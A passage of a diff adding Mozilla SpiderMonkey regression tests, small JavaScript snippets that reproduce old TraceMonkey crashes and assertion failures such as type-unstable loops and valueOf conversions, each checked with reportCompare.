+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465424;
+var summary = 'TM: issue with post-decrement operator';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '0,1,2,3,4,';
+
+ for (let j=0;j<5;++j) { jj=j; print(actual += '' + (jj--) + ',') }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465454.js b/js/src/tests/non262/regress/regress-465454.js
new file mode 100644
index 0000000000..3cdc72dda8
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465454.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465454;
+var summary = 'TM: do not crash with type-unstable loop';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let b of [(-1/0), new String(''), new String(''), null, (-1/0),
+ (-1/0), new String(''), new String(''), null]) '' + b;
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465460-01.js b/js/src/tests/non262/regress/regress-465460-01.js
new file mode 100644
index 0000000000..b3a0cfbdb6
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465460-01.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465460;
+var summary = 'TM: valueOf in a loop';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '11111';
+
+
+ (function(d) { for (let j = 0; j < 5; ++j) { actual += ('' + d); } })({valueOf: function() { return 1; }});
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465460-02.js b/js/src/tests/non262/regress/regress-465460-02.js
new file mode 100644
index 0000000000..48a6cc1688
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465460-02.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465460;
+var summary = 'TM: valueOf in a loop: do not assert';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let c of [null, null, null, {}]) { }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465460-03.js b/js/src/tests/non262/regress/regress-465460-03.js
new file mode 100644
index 0000000000..0c5ac8cc24
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465460-03.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465460;
+var summary = 'TM: valueOf in a loop: do not assert';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (let j of [null, 2, 3]) { }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465460-04.js b/js/src/tests/non262/regress/regress-465460-04.js
new file mode 100644
index 0000000000..497ee3be48
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465460-04.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465460;
+var summary = 'TM: valueOf in a loop: do not assert';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 3; ++j) { 1 & new Date; }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465460-05.js b/js/src/tests/non262/regress/regress-465460-05.js
new file mode 100644
index 0000000000..f33d103dd4
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465460-05.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465460;
+var summary = 'TM: valueOf in a loop: do not assert';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 3; ++j) { 1 & Date; }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465460-06.js b/js/src/tests/non262/regress/regress-465460-06.js
new file mode 100644
index 0000000000..e4ca0c1403
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465460-06.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465460;
+var summary = 'TM: valueOf in a loop: do not assert';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let x of [1, {}, 1, null, 1, {}, 1, null, 1]) { }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465460-07.js b/js/src/tests/non262/regress/regress-465460-07.js
new file mode 100644
index 0000000000..8c74fb5d50
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465460-07.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465460;
+var summary = 'TM: valueOf in a loop: do not assert';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = actual = 'pass';
+
+ try
+ {
+ e = {}; for (j=0;j<3;++j) { 3 | e; } "PASS";
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465460-08.js b/js/src/tests/non262/regress/regress-465460-08.js
new file mode 100644
index 0000000000..5eeea0c776
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465460-08.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465460;
+var summary = 'TM: valueOf in a loop: do not assert';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let _ of [{}, {}, null, null, null, null]) { }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465460-10.js b/js/src/tests/non262/regress/regress-465460-10.js
new file mode 100644
index 0000000000..779a1dea55
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465460-10.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465460;
+var summary = 'TM: valueOf in a loop: do not assert';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let i = 0; i < 2; ++i) { ({}) + 3; }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465460-11.js b/js/src/tests/non262/regress/regress-465460-11.js
new file mode 100644
index 0000000000..680b3d319d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465460-11.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465460;
+var summary = 'TM: valueOf in a loop: do not assert';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let d=0;d<2;++d) for (let a=0;a<1;++a) "" + (d && function(){});
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465460-12.js b/js/src/tests/non262/regress/regress-465460-12.js
new file mode 100644
index 0000000000..fe0b1af3ee
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465460-12.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465460;
+var summary = 'TM: valueOf in a loop: do not assert';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 2; ++j) { if (null > "") { } }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465483.js b/js/src/tests/non262/regress/regress-465483.js
new file mode 100644
index 0000000000..056d9df297
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465483.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465483;
+var summary = 'Type instability leads to undefined being added as a string instead of as a number';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'NaN';
+
+ for (i of [4, 'a', 'b', (void 0)]) print(actual = '' + (i + i));
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465484.js b/js/src/tests/non262/regress/regress-465484.js
new file mode 100644
index 0000000000..e4a598850b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465484.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465484;
+var summary = 'TM: Do not assert: _allocator.active[FST0] && _fpuStkDepth == -1 || ' +
+ '!_allocator.active[FST0] && _fpuStkDepth == 0';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (let a of [2, 2, 2]) { a %= a; a %= a; }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465567-01.js b/js/src/tests/non262/regress/regress-465567-01.js
new file mode 100644
index 0000000000..862c2abe43
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465567-01.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465567;
+var summary = 'TM: Weirdness with var, let, multiple assignments';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = '99999';
+
+
+for (let j = 0; j < 5; ++j) {
+ var e;
+ e = 9;
+ print(actual += '' + e);
+ e = 47;
+ if (e & 0) {
+ let e;
+ }
+}
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-465567-02.js b/js/src/tests/non262/regress/regress-465567-02.js
new file mode 100644
index 0000000000..821b66ff78
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465567-02.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465567;
+var summary = 'TM: Do not assert: JSVAL_TAG(v) == JSVAL_OBJECT';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+try
+{
+ eval("for (e of ['', true, 1, true, 1]) { e = null; if (0) { let e; var e; } }");
+}
+catch(ex)
+{
+}
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-465686.js b/js/src/tests/non262/regress/regress-465686.js
new file mode 100644
index 0000000000..1b91fddb0a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465686.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465686;
+var summary = 'Do not crash @ tiny_free_list_add_ptr';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (let b of [eval, eval, 4, 4]) {
+ ++b;
+ for (b of [(void 0), (void 0), (void 0), 3, (void 0), 3]) {
+ b ^= b;
+ for (var c of [1/0]) {
+ }
+ }
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-465688.js b/js/src/tests/non262/regress/regress-465688.js
new file mode 100644
index 0000000000..acd68f44f5
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-465688.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465688;
+var summary = 'Do not assert: (m != JSVAL_INT) || isInt32(*vp),';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (let d of [-0x80000000, -0x80000000]) - -d;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-466128.js b/js/src/tests/non262/regress/regress-466128.js
new file mode 100644
index 0000000000..a9808b1a98
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-466128.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 466128;
+var summary = 'Do not assert: !ti->stackTypeMap.matches(ti_other->stackTypeMap)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (let a = 0; a < 3; ++a) {
+ for (let b of [1, 2, "three", 4, 5, 6, 7, 8]) {
+ }
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-466262.js b/js/src/tests/non262/regress/regress-466262.js
new file mode 100644
index 0000000000..76406345d4
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-466262.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 466262;
+var summary = 'Do not assert: f == f->root';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var e = 1;
+ for (var d = 0; d < 3; ++d) {
+ if (d == 2) {
+ e = "";
+ }
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-466747.js b/js/src/tests/non262/regress/regress-466747.js
new file mode 100644
index 0000000000..c1731dca49
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-466747.js
@@ -0,0 +1,48 @@
+// |reftest| skip-if(xulRuntime.shell)
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 466747;
+var summary = 'TM: Do not assert: fp->slots + fp->script->nfixed + ' +
+ 'js_ReconstructStackDepth(cx, fp->script, fp->regs->pc) == fp->regs->sp';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ gDelayTestDriverEnd = true;
+
+ function newScriptWithLoop(m)
+ {
+ var ns = document.createElement("script");
+ var nt = document.createTextNode("for (var q = 0; q < " + m + "; ++q) { }");
+ ns.appendChild(nt);
+ return ns;
+ }
+
+ function boom()
+ {
+ var div = document.createElement("div");
+ div.appendChild(newScriptWithLoop(7));
+ div.appendChild(newScriptWithLoop(1));
+ document.body.appendChild(div);
+
+
+ reportCompare(expect, actual, summary);
+ gDelayTestDriverEnd = false;
+ jsTestDriverEnd();
+ }
+
+ window.addEventListener('load', boom, false);
+}
diff --git a/js/src/tests/non262/regress/regress-466787.js b/js/src/tests/non262/regress/regress-466787.js
new file mode 100644
index 0000000000..8096910eae
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-466787.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 466787;
+var summary = 'TM: new Number() should stay a number during recording';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '4444';
+
+
+ for (let j = 0; j < 4; ++j) { for (let one of [new Number(1)]) {
+ print(actual += '' + (3 + one)); } }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-466905-01.js b/js/src/tests/non262/regress/regress-466905-01.js
new file mode 100644
index 0000000000..1e039d24f8
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-466905-01.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 466905;
+var summary = 'Do not assert: v_ins->isCall() && v_ins->callInfo() == &js_FastNewArray_ci';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(a) { for (let c of a) [(c > 5) ? 'A' : 'B']; }
+ f([true, 8]);
+ f([2]);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-466905-02.js b/js/src/tests/non262/regress/regress-466905-02.js
new file mode 100644
index 0000000000..cfcc1b3e14
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-466905-02.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 466905;
+var summary = 'Do not assert: v_ins->isCall() && v_ins->callInfo() == &js_FastNewArray_ci';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < 5; i++)
+ [(i > 3) ? 'a' : 'b'];
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-467495-01.js b/js/src/tests/non262/regress/regress-467495-01.js
new file mode 100644
index 0000000000..da914db262
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-467495-01.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 467495;
+var summary = 'Do not crash @ js_Interpret';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ (function() { x = 0; function x() { return 4; }; var x; const y = 1; })();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-467495-02.js b/js/src/tests/non262/regress/regress-467495-02.js
new file mode 100644
index 0000000000..957e7d7c4b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-467495-02.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 467495;
+var summary = 'Do not crash @ js_Interpret';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval("(function(){const y = 1; function x() '' let functional, x})();");
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-467495-03.js b/js/src/tests/non262/regress/regress-467495-03.js
new file mode 100644
index 0000000000..5f8e756535
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-467495-03.js
@@ -0,0 +1,44 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 467495;
+var summary = 'TCF_FUN_CLOSURE_VS_VAR is necessary';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(x)
+ {
+ actual = '';
+ var g;
+ print(actual += typeof g + ',');
+
+ if (x)
+ function g(){};
+
+ print(actual += g);
+ }
+
+ expect = 'undefined,undefined';
+ f(0);
+
+ reportCompare(expect, actual, summary + ': f(0): ');
+
+ expect = 'undefined,function g(){}';
+
+ f(1);
+
+ reportCompare(expect, actual, summary + ': f(1): ');
+}
diff --git a/js/src/tests/non262/regress/regress-467495-04.js b/js/src/tests/non262/regress/regress-467495-04.js
new file mode 100644
index 0000000000..d7227018ea
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-467495-04.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 467495;
+var summary = 'TCF_FUN_CLOSURE_VS_VAR is necessary';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function g() {
+ if (1)
+ function x() {};
+ var x;
+ const y = 1;
+ }
+
+ try
+ {
+ g();
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-467495-05.js b/js/src/tests/non262/regress/regress-467495-05.js
new file mode 100644
index 0000000000..f9089f354c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-467495-05.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 467495;
+var summary = 'TCF_FUN_CLOSURE_VS_VAR is necessary';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '1';
+
+ function g(x) { if (1) function x() {} return x; }
+ print(actual = g(1) + '');
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-467495-06.js b/js/src/tests/non262/regress/regress-467495-06.js
new file mode 100644
index 0000000000..fc5ec361d9
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-467495-06.js
@@ -0,0 +1,41 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
